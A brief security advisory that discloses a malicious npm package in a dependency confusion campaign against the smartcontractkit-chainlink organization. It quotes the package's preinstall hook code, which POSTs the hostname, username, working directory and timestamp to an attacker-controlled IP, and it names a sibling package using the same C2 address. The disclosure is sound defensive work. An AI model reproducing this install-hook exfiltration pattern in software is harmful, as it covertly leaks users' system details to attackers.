Vulnetix · Advisory published March 1, 2026

Exfiltrates system hostname, username, working directory, and timestamp to attacker-controlled server at 54.80.197.209:8443 via HTTP POST in the preinstall hook. Part of a dependency confusion campaign targeting the smartcontractkit-chainlink organization using a HackerOne bug bounty cover story. preinstall contains an inlined Node.js HTTP request: http.request({hostname:'54.80.197.209',port:8443,path:'/cb/chainlink-docs',method:'POST'}) sending JSON with hostname, username, cwd, and timestamp. Same C2 IP as sibling package chainlink-tron@99.0.1.
